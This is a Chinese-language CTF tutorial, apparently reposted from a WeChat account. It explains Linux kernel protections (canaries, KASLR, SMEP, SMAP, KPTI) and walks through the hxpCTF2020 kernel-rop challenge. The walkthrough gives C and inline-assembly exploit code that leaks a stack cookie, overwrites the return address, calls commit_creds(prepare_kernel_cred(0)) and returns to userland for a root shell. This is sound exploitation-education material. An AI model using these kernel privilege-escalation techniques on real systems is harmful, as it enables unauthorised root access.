Protect Policy
-
Kernel stack cookies[canaries]
-
同userland的栈保护机制canary类似,在内核编译时启用,并不能够禁用。
-
Kernel address space layout randomization[KASLR]
-
内核地址随机化,类似于userland的
ASLR
,每次开机都会随机内核加载的基地址。 -
可以通过在
-append
选项中添加kaslr
或者nokasr
启用或禁用。 -
Supervisor mode execution protection[SMEP]
这一机制使得kernel-mode下的进程标记所有userland的地址为non-executable,即不可执行的,该机制由控制寄存器
CR4
的20th bit控制。可以通过在
-cpu
选项中指定+smep
启用,在-append
中指定nosmep
禁用。 -
Supervisor mode access prevention[SMAP]
类似于SMEP,该机制标记所有kernel-mode进程的userland地址为non-accessiable,即不可读也不可写。由
CR4
的21th bits控制。可以通过
-cpu
选项指定+smap
启用,在-append
指定nosmape
禁用。 -
Kernel page table isolation[KPTI]
当KPTI启用时,user-space和kernel-space的 page tables将完全分开,而不是只有一个包含user-space和kernel-space地址的page tables集合。
其中,既包含user-space又有kernel-space的page tables只在系统运行在kernel-mode时使用。
包含整个user-space和部分kernel-space的page tables在运行在user-mode时使用。
可以通过在
-append
选项中指定kpti=1
或nopti
启用或禁用。
kernel-rop
示例是 hxpCTF2020的kernel-rop,hackme.ko
存在的漏洞
ssize_t __fastcall hackme_write(file *f, const char *data, size_t size, loff_t *off)
{
unsigned __int64 v4; // rdx
ssize_t v5; // rbx
int tmp[32]; // [rsp+0h] [rbp-A0h] BYREF
unsigned __int64 v8; // [rsp+80h] [rbp-20h]
_fentry__(f, data, size, off);
v5 = v4;
v8 = __readgsqword(0x28u);
if ( v4 > 0x1000 ) // size检查是否超过0x1000
{
_warn_printk("Buffer overflow detected (%d < %lu)!n", 0x1000LL);
BUG();
}
_check_object_size(hackme_buf, v4, 0LL);
if ( copy_from_user(hackme_buf, data, v5) )
return -14LL;
_memcpy(tmp, hackme_buf, v5); // tmp缓冲区溢出
return v5;
}
由于tmp
空间只有0x80大小,而来自user的数据可以有0x1000大小,所以存在溢出。
leak cookie
tmp地址在rbp-0xa0
,cookie在rbp-0x20
hackme_read函数可以用于泄漏
ssize_t __fastcall hackme_read(file *f, char *data, size_t size, loff_t *off)
{
unsigned __int64 v4; // rdx
unsigned __int64 v5; // rbx
bool v6; // zf
ssize_t result; // rax
int tmp[32]; // [rsp+0h] [rbp-A0h] BYREF
unsigned __int64 v9; // [rsp+80h] [rbp-20h]
_fentry__(f, data, size, off);
v5 = v4;
v9 = __readgsqword(0x28u);
_memcpy(hackme_buf, tmp, v4); // 越界读
if ( v5 > 0x1000 )
{
_warn_printk("Buffer overflow detected (%d < %lu)!n", 4096LL);
BUG();
}
_check_object_size(hackme_buf, v5, 1LL);
v6 = copy_to_user(data, hackme_buf, v5) == 0;
result = -14LL;
if ( v6 )
result = v5;
return result;
}
可以读取tmp后的更多内容,包括cookie
void leak_cookie()
{
unsigned long leak_info[0xa0/8];
memset(leak_info, 0, sizeof(leak_info));
size_t size = read(global_fd, leak_info, 0xa0);
cookie = leak_info[0x80/8];
printf("[*] Leak %zd bytesn", size);
printf("[*] Cookie: 0x%lxn", cookie);
return ;
}
overwrite return address
不同于userspace的程序,kernel函数退出时会进行三次pop
操作,因此在cookie后需要三个paddding,之后才是控制执行的地址。
void exploit()
{
unsigned long payload[0x100/8];
unsigned long offset = 0x80/8;
payload[offset++] = cookie;
payload[offset++] = 0x0;
payload[offset++] = 0x0;
payload[offset++] = 0x0;
payload[offset++] = (unsigned long)escalate_privs; // 引导想要执行的地址
puts("[*] Prepared payload");
size_t size = write(global_fd, payload, sizeof(payload));
puts("[!] Should never be reached");
}
root privilige
在kernel exploitation中,目的不是像userland地获取一个shell,而是获取系统的root权限,也称为escalate_privs
。最常见的方式就是使用两个函数commit_creds
和prepare_kernel_cred
,这两个函数就在kernel-space代码中,我们的目的就是像下面这样执行
commit_creds(prepare_kernel_cred(0));
所以,一个简单的escalate_privs
代码如下
void escalate_privs()
{
__asm__(
"movabs, rax, 0xdeadbeef;" // prepare_kernel_cred
"xor rdi, rdi;"
"call rax;"
"mov rdi, rax;"
"movabs, rax, 0xdeadbeef;" // commit_creds
"call rax;"
)
}
所有kernel下的符号地址,可以通过读/proc/kallsyms
获取,但是需要root权限。
/ # cat /proc/kallsyms | grep commit_creds
ffffffff814c6410 T commit_creds
ffffffff81f87d90 r __ksymtab_commit_creds
ffffffff81fa0972 r __kstrtab_commit_creds
ffffffff81fa4d42 r __kstrtabns_commit_creds
/ # cat /proc/kallsyms | grep prepare_kernel_cred
ffffffff814c67f0 T prepare_kernel_cred
ffffffff81f8d4fc r __ksymtab_prepare_kernel_cred
ffffffff81fa09b2 r __kstrtab_prepare_kernel_cred
ffffffff81fa4d42 r __kstrtabns_prepare_kernel_cred
ByPass KASLR
但是由于KASLR
的存在,commit_creds
和prepare_kernel_code
函数地址每次开机都是随机的,因此需要动态获取。在Part1部分,通过noaslr
暂时关闭了该机制。
Return to userland
在获取root权限后,需要返回一个userland
的shell,由于上述的代码都是在kernel-mode下执行的,因此需要返回user-mode。
一般地,如果kernel正常运行,执行sysretq
或者iretq
将返回到userland。最常用的方式就是iret
,因为sysretq
更复杂。
iretq
指令只需要在栈上按顺序提前设置5个用户态寄存器:RIP|CS|RFLAGS|SP|SS
。
进程分别为user-mode和kernel-mode保存两组上述寄存器,所以执行完kernel-mode后,必须为这些寄存器设置为user-mode的值。
对于RIP
,我们可以简单地设置为弹出shell的函数地址;而对于其他寄存器,如果我们设置为一些随机值,进程或许会执行异常。为了解决这个问题,一个明智的办法就是:在进入kernel-mode之前保存这些寄存器的状态,获取root权限之后,再重新还原状态。
保存寄存器状态的函数:
void save_state()
{
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved state");
}
除此之外,在x86_64中,在执行iretq
前需要执行swapgs
指令,用于切换kernel-mode和user-mode的GS寄存器。完善后的escalate_privs
函数
void escalate_privs()
{
user_rip = (unsigned long)get_root_shell;
__asm__(
".intel_syntax noprefix;"
"movabs rax, 0xffffffff814c67f0;" // prepare_kernel_cred
"xor rdi, rdi;"
"call rax;"
"mov rdi, rax;"
"movabs rax, 0xffffffff814c6410;" // commit_creds
"call rax;"
"swapgs;" // swap kernel-mode user-mode gs
"mov r15, user_ss;"
"push r15;"
"mov r15, user_sp;"
"push r15;"
"mov r15, user_rflags;"
"push r15;"
"mov r15, user_cs;"
"push r15;"
"mov r15, user_rip;"
"push r15;"
"iretq;"
".att_syntax;"
);
puts("[*] Escalate privilges done ");
}
当关闭所有的保护方式时,就可以运行上述代码,获取root权限的shell。
int main()
{
save_state();
open_dev();
leak_cookie();
exploit();
puts("[!] Should never be reached!");
return 0;
}
Debug Running Module
在调试exploit过程中,经常需要调试观察,通过qemu + gdb
可以远程调试kernel,在qemu启动时,加上-s
选项。
启动kernel后,需要获取想要调试的目标模块下需要下断的地址,比如这里的hackme_write
/ # cat /proc/kallsyms | grep hackme_write
ffffffffc00710d0 t hackme_write [hackme]
/ # cat /proc/kallsyms | grep hackme_read
ffffffffc0071000 t hackme_read [hackme]
之后,gdb远程连接,下断点
gdb ./vmlinux
target remote localhost:1234
ffffffffc00710d0
c
和调试userland进程一致了。
来源:先知
注:如有侵权请联系删除
欢迎大家加群一起讨论学习和交流
(此群已满200人,需要添加群主邀请)
努力的目的不是为了达到别人所设定的目标,
而是可以更有底气的去选择自己想要的生活。
原文始发于微信公众号(衡阳信安):Linux Kernel Pwn Part 1
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论